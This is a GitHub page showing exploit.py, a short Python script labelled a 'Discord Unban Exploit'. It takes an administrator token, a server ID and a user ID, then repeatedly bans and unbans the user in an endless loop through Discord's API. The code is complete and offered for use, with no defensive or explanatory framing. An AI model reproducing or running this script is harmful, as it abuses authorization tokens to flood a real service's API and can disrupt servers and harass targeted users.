-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathexploit.py
32 lines (27 loc) · 1.11 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# Discord Unban Exploit
# Author/Credits: 0x1CA3 | https://github.com/0x1CA3
# Note: This can be improved.
import sys
import requests
class Exploit:
def __init__(self, token, serverid, userid) -> None:
self.token = token
self.serverid = serverid
self.userid = userid
self.headers = {"Authorization": self.token}
def run(self) -> None:
while True:
print("\nStatus Code -> " + str(requests.put(f"https://discord.com/api/v9/guilds/{self.serverid}/bans/{self.userid}", headers=self.headers).status_code))
print(f"Banning user -> {self.userid}")
print("\nStatus Code -> " + str(requests.delete(f"https://discord.com/api/v9/guilds/{self.serverid}/bans/{self.userid}", headers=self.headers).status_code))
print(f"Unbanning user -> {self.userid}")
def main() -> None:
if len(sys.argv) < 4:
print("python3 exploit.py <admin_token> <server_id> <user_id>")
sys.exit()
token = sys.argv[1]
serverid = sys.argv[2]
userid = sys.argv[3]
Exploit(token, serverid, userid).run()
if __name__ == "__main__":
main()